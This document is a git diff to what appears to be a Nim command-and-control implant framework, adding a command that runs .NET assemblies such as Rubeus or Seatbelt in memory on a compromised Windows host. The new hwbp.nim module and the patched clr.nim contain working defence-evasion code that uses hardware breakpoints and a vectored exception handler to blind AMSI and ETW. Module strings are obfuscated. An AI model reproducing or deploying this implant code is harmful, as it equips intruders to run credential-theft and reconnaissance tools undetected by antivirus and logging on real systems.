diff --git a/docs/COMMANDS.md b/docs/COMMANDS.md index 83d41e4..cebba08 100644 --- a/docs/COMMANDS.md +++ b/docs/COMMANDS.md @@ -31,7 +31,7 @@ Execution Commands - Read from listener endpoint directly to memory - Base for all kinds of BOFs (Situational Awareness, ...) - [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe) -- [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe ) +- [x] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe ) Post-Exploitation ----------------- diff --git a/src/agent/core/clr.nim b/src/agent/core/clr.nim index c642a66..125cd00 100644 --- a/src/agent/core/clr.nim +++ b/src/agent/core/clr.nim @@ -1,20 +1,60 @@ import winim/[lean, clr] import os, strformat, strutils, sequtils +import ./hwbp import ../../common/[types, utils] #[ Executing .NET assemblies in memory References: - https://maldevacademy.com/new/modules/60?view=blocks + - https://maldevacademy.com/new/modules/61?view=blocks - https://github.com/chvancooten/NimPlant/blob/main/client/commands/risky/executeAssembly.nim - - https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/clr.nim + - https://github.com/S3cur3Th1sSh1t/Creds/blob/master/nim/encrypted_assembly_loader.nim + - https://github.com/hdbreaker/Nimhawk/blob/main/implant/modules/risky/executeAssembly.nim ]# -import sugar +#[ + Patching functions +]# +proc amsiPatch(pThreadCtx: PCONTEXT) = + # Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN) + SETPARAM_6(pThreadCtx, cast[PULONG](0)) + echo protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN") + CONTINUE_EXECUTION(pThreadCtx) -proc dotnetInlineExecuteGetOutput(assemblyBytes: seq[byte], arguments: seq[string] = @[]): string = - - # The winim/clr library takes care of most of the heavy lifting for us here +proc etwPatch(pThreadCtx: PCONTEXT) = + pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[] + pThreadCtx.Rsp += sizeof(PVOID) + pThreadCtx.Rax = STATUS_SUCCESS + echo protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS") + CONTINUE_EXECUTION(pThreadCtx) + +#[ + Dotnet execute-assembly + Arguments: + - assemblyBytes: Serialized .NET assembly + - arguments: seq[string] of arguments that should be passed to the function + Returns: CLR Version and assembly output +]# +proc dotnetInlineExecuteGetOutput*(assemblyBytes: seq[byte], arguments: seq[string] = @[]): tuple[assembly, output: string] = + + # Patching AMSI and ETW via Hardware Breakpoints + # Code from: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim + if not initializeHardwareBPVariables(): + raise newException(CatchableError, protect("Failed to initialize Hardware Breakpoints.")) + defer: uninitializeHardwareBPVariables() + + let amsiScanBuffer = GetProcAddress(LoadLibraryA(protect("amsi.dll")), protect("AmsiScanBuffer")) + if not setHardwareBreakpoint(amsiScanBuffer, amsiPatch, Dr0): + raise newException(CatchableError, protect("Failed to install Hardware Breakpoint [AmsiScanBuffer].")) + defer: discard removeHardwareBreakpoint(Dr0) + + let ntTraceEvent = GetProcAddress(LoadLibraryA(protect("ntdll.dll")), protect("NtTraceEvent")) + if not setHardwareBreakpoint(ntTraceEvent, etwPatch, Dr1): + raise newException(CatchableError, protect("Failed to install Hardware Breakpoint [NtTraceEvent].")) + defer: discard removeHardwareBreakpoint(Dr1) + + # For the actual assembly execution, the winim/[clr] library takes care of most of the heavy lifting for us here # - https://github.com/khchen/winim/blob/master/winim/clr.nim var assembly = load(assemblyBytes) @@ -38,12 +78,4 @@ proc dotnetInlineExecuteGetOutput(assemblyBytes: seq[byte], arguments: seq[strin # Reset console properties @Console.SetOut(oldConsole) - return fromCLRVariant[string](stringWriter.ToString()) - -proc test*() = - - var bytes = string.toBytes(readFile("C:\\Tools\\precompiled-binaries\\Enumeration\\Seatbelt.exe")) - var args = @["antivirus"] - - var result = dotnetInlineExecuteGetOutput(bytes, args) - echo result \ No newline at end of file + return (assembly, fromCLRVariant[string](stringWriter.ToString())) \ No newline at end of file diff --git a/src/agent/core/hwbp.nim b/src/agent/core/hwbp.nim new file mode 100644 index 0000000..3498a9b --- /dev/null +++ b/src/agent/core/hwbp.nim @@ -0,0 +1,221 @@ +import winim/lean + +# From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim + +type + DRX* = enum + Dr0, Dr1, Dr2, Dr3 + HookFuncType = proc(pContext:PCONTEXT){.stdcall.} + +var + g_VectorHandler: PVOID # Vectored Exception Handler + g_DetourFuncs: array[4, PVOID] # Array of 4 Hook functions + g_CriticalSection: CRITICAL_SECTION + +proc ucRet*() {.asmNoStackFrame.} = + ## Ret used to terminate original function execution + asm """.byte 0xc3""" + +proc BLOCK_REAL*(pThreadCtx: PCONTEXT) = + ## Used in detour function to block execution of original hooked function + pThreadCtx.Rip = cast[int](ucRet) + +proc setDr7Bits*(currentDr7Register, startingBitPosition, nmbrOfBitsToModify, newBitValue: int): int = + ## Enable or disable an installed breakpoint + var + mask: int = ((1 shl nmbrOfBitsToModify) - 1) + newDr7Register: int = (currentDr7Register and not (mask shl startingBitPosition)) or (newBitValue shl startingBitPosition) + return newDr7Register + +proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool = + var threadCtx: CONTEXT + threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS + + if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: + echo "[!] GetThreadContext Failed: ", GetLastError() + return false + + case drx: + of Dr0: + if (threadCtx.Dr0 == 0): + threadCtx.Dr0 = cast[int](pAddress) + of Dr1: + if (threadCtx.Dr1 == 0): + threadCtx.Dr1 = cast[int](pAddress) + of Dr2: + if (threadCtx.Dr2 == 0): + threadCtx.Dr2 = cast[int](pAddress) + of Dr3: + if (threadCtx.Dr3 == 0): + threadCtx.Dr3 = cast[int](pAddress) + + # Save the hooked function at index 'drx' in global array + EnterCriticalSection(g_CriticalSection.addr) + g_DetourFuncs[cast[int](drx)] = fnHookFunc + LeaveCriticalSection(g_CriticalSection.addr) + + # Enable the breakpoint + threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1) + + if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: + echo "[!] SetThreadContext Failed", GetLastError() + return false + + return true + +proc removeHardwareBreakpoint*(drx: DRX): bool = + var threadCtx: CONTEXT + threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS + + if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: + echo "[!] GetThreadContext Failed: ", GetLastError() + return false + + # Remove the address of the hooked function from the thread context + case drx: + of Dr0: + threadCtx.Dr0 = cast[int](0) + of Dr1: + threadCtx.Dr1 = cast[int](0) + of Dr2: + threadCtx.Dr2 = cast[int](0) + of Dr3: + threadCtx.Dr3 = cast[int](0) + + # Disabling the breakpoint + threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0) + + if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: + echo "[!] SetThreadContext Failed", GetLastError() + return false + + return true + +proc vectorHandler*(pExceptionInfo: ptr EXCEPTION_POINTERS): int = + # If the exception is 'EXCEPTION_SINGLE_STEP' then its caused by a bp + if (pExceptionInfo.ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP): + if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr0) or + (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr1) or + (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr2) or + (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr3): + var + dwDrx: DRX + fnHookFunc = cast[HookFuncType](0) + + EnterCriticalSection(g_CriticalSection.addr) + + if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr0): + dwDrx = Dr0 + if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr1): + dwDrx = Dr1 + if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr2): + dwDrx = Dr2 + if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr3): + dwDrx = Dr3 + + discard removeHardwareBreakpoint(dwDrx) + + # Execute the callback (detour function) + fnHookFunc = cast[HookFuncType](g_DetourFuncs[cast[int](dwDrx)]) + fnHookFunc(pExceptionInfo.ContextRecord) + + discard setHardwareBreakpoint(pExceptionInfo.ExceptionRecord.ExceptionAddress, g_DetourFuncs[cast[int](dwDrx)], dwDrx) + + LeaveCriticalSection(g_CriticalSection.addr) + + return EXCEPTION_CONTINUE_EXECUTION + # The exception is not handled + return EXCEPTION_CONTINUE_SEARCH + +#[ Function argument handling ]# +proc getFunctionArgument*(pThreadCtx: PCONTEXT, dwParamIdx: int): pointer = + # amd64 + case dwParamIdx: + of 1: + return cast[PULONG](pThreadCtx.Rcx) + of 2: + return cast[PULONG](pThreadCtx.Rdx) + of 3: + return cast[PULONG](pThreadCtx.R8) + of 4: + return cast[PULONG](pThreadCtx.R9) + else: + # else more arguments are pushed to the stack + return cast[PULONG](pThreadCtx.Rsp + (dwParamIdx * sizeof(PVOID))) + +proc setFunctionArgument*(pThreadCtx: PCONTEXT, uValue: PULONG, dwParamIdx: int) = + # amd64 + case dwParamIdx: + of 1: + pThreadCtx.Rcx = cast[int](uValue) + of 2: + pThreadCtx.Rdx = cast[int](uValue) + of 3: + pThreadCtx.R8 = cast[int](uValue) + of 4: + pThreadCtx.R9 = cast[int](uValue) + else: + # else more arguments are pushed to the stack + cast[ptr int](pThreadCtx.Rsp + (dwParamIdx * sizeof(PVOID)))[] = cast[int](uValue) + +# getFunctionArgument macros +template GETPARAM_1*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 1) +template GETPARAM_2*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 2) +template GETPARAM_3*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 3) +template GETPARAM_4*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 4) +template GETPARAM_5*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 5) +template GETPARAM_6*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 6) +template GETPARAM_7*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 7) +template GETPARAM_8*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 8) +template GETPARAM_9*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 9) +template GETPARAM_a*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, a) +template GETPARAM_b*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, b) + +# setFunctionArgument macros +template SETPARAM_1*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 1) +template SETPARAM_2*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 2) +template SETPARAM_3*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 3) +template SETPARAM_4*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 4) +template SETPARAM_5*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 5) +template SETPARAM_6*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 6) +template SETPARAM_7*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 7) +template SETPARAM_8*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 8) +template SETPARAM_9*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 9) +template SETPARAM_a*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, a) +template SETPARAM_b*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, b) + +#[ init/uninit HW BP]# +proc initializeHardwareBPVariables*(): bool = + # If 'g_CriticalSection' is not yet initialized + if g_CriticalSection.DebugInfo == NULL: + InitializeCriticalSection(g_CriticalSection.addr) + + # If 'g_VectorHandler' is not yet initialized + if (cast[int](g_VectorHandler) == 0): + # Add 'VectorHandler' as the VEH + g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler)) + if cast[int](g_VectorHandler) == 0: + echo "[!] AddVectoredExceptionHandler Failed" + return false + + if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0: + return true + +proc uninitializeHardwareBPVariables*() = + # Remove breakpoints + for i in 0 ..< 4: + discard removeHardwareBreakpoint(cast[DRX](i)) + # If the critical section is initialized, delete it + if (cast[int](g_CriticalSection.DebugInfo) != 0): + DeleteCriticalSection(g_CriticalSection.addr) + # If VEH if registered, remove it + if (cast[int](g_VectorHandler) != 0): + RemoveVectoredExceptionHandler(g_VectorHandler) + + # Cleanup the global variables + zeroMem(g_CriticalSection.addr, sizeof(g_CriticalSection)) + zeroMem(g_DetourFuncs.addr, sizeof(g_DetourFuncs)) + g_VectorHandler = cast[PVOID](0) + +template CONTINUE_EXECUTION*(ctx: PCONTEXT) = (ctx.EFlags = (ctx.EFlags or (1 shl 16))) + diff --git a/src/agent/main.nim b/src/agent/main.nim index 4e36482..a57814f 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -68,11 +68,5 @@ proc main() = except CatchableError as err: echo "[-] ", err.msg - -import core/clr when isMainModule: - - test() - quit(0) - main() \ No newline at end of file diff --git a/src/client/layout.ini b/src/client/layout.ini index 86e9494..310b8b7 100644 --- a/src/client/layout.ini +++ b/src/client/layout.ini @@ -96,5 +96,5 @@ DockSpace ID=0x85940918 Window=0x260A4489 Pos=10,43 Size=1888,946 Split=Y DockNode ID=0x00000001 Parent=0x85940918 SizeRef=1024,421 Split=X DockNode ID=0x00000003 Parent=0x00000001 SizeRef=613,159 CentralNode=1 Selected=0x61E02D75 DockNode ID=0x00000004 Parent=0x00000001 SizeRef=409,159 Selected=0x5E5F7166 - DockNode ID=0x00000002 Parent=0x85940918 SizeRef=1024,523 Selected=0x1BCA3180 + DockNode ID=0x00000002 Parent=0x85940918 SizeRef=1024,523 Selected=0x8D780333 diff --git a/src/common/crypto.nim b/src/common/crypto.nim index dc5bc5a..cb814de 100644 --- a/src/common/crypto.nim +++ b/src/common/crypto.nim @@ -1,4 +1,4 @@ -import macros, system, hashes +import system import nimcrypto import ./[types, utils] diff --git a/src/common/types.nim b/src/common/types.nim index 1f40c30..b1fa6cc 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -48,6 +48,7 @@ type CMD_DOWNLOAD = 13'u16 CMD_UPLOAD = 14'u16 CMD_SCREENSHOT = 15'u16 + CMD_DOTNET = 16'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 diff --git a/src/modules/dotnet.nim b/src/modules/dotnet.nim new file mode 100644 index 0000000..f3610df --- /dev/null +++ b/src/modules/dotnet.nim @@ -0,0 +1,63 @@ +import ../common/[types, utils] + +# Define function prototype +proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult + +# Command definition (as seq[Command]) +let commands*: seq[Command] = @[ + Command( + name: protect("dotnet"), + commandType: CMD_DOTNET, + description: protect("Execute a .NET assembly in memory and retrieve the output."), + example: protect("dotnet /path/to/Seatbelt.exe antivirus"), + arguments: @[ + Argument(name: protect("path"), description: protect("Path to the .NET assembly file to execute."), argumentType: BINARY, isRequired: true), + Argument(name: protect("arguments"), description: protect("Arguments to be passed to the assembly. Arguments are handled as STRING"), argumentType: STRING, isRequired: false) + ], + execute: executeAssembly + ) +] + +# Implement execution functions +when defined(server): + proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult = nil + +when defined(agent): + + import strutils, strformat + import ../agent/core/clr + import ../agent/protocol/result + import ../common/[utils, serialize] + + proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult = + try: + var + assembly: seq[byte] + arguments: seq[string] + + # Parse arguments + case int(task.argCount): + of 1: # Only the assembly has been passed as an argument + assembly = task.args[0].data + arguments = @[] + else: # Parameters were passed to the BOF execution + assembly = task.args[0].data + for arg in task.args[1..^1]: + arguments.add(Bytes.toString(arg.data)) + + # Unpacking assembly file, since it contains the file name too. + var unpacker = Unpacker.init(Bytes.toString(assembly)) + let + fileName = unpacker.getDataWithLengthPrefix() + assemblyBytes = unpacker.getDataWithLengthPrefix() + + echo fmt" [>] Executing .NET assembly {fileName}." + let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments) + + if output != "": + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(assemblyInfo & "\n" & output)) + else: + return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) diff --git a/src/modules/filetransfer.nim b/src/modules/filetransfer.nim index 19318c5..165e567 100644 --- a/src/modules/filetransfer.nim +++ b/src/modules/filetransfer.nim @@ -52,10 +52,8 @@ when defined(agent): # Create result packet for file download var packer = Packer.init() - packer.add(uint32(filePath.len())) - packer.addData(string.toBytes(filePath)) - packer.add(uint32(fileBytes.len())) - packer.addData(string.toBytes(fileBytes)) + packer.addDataWithLengthPrefix(string.toBytes(filePath)) + packer.addDataWithLengthPrefix(string.toBytes(fileBytes)) let result = packer.pack() diff --git a/src/modules/manager.nim b/src/modules/manager.nim index 304ec3f..024cbf6 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -9,6 +9,7 @@ import filetransfer, environment, bof, + dotnet, screenshot type @@ -31,6 +32,7 @@ proc loadModules*() = registerCommands(filetransfer.commands) registerCommands(environment.commands) registerCommands(bof.commands) + registerCommands(dotnet.commands) registerCommands(screenshot.commands) proc getCommandByType*(cmdType: CommandType): Command =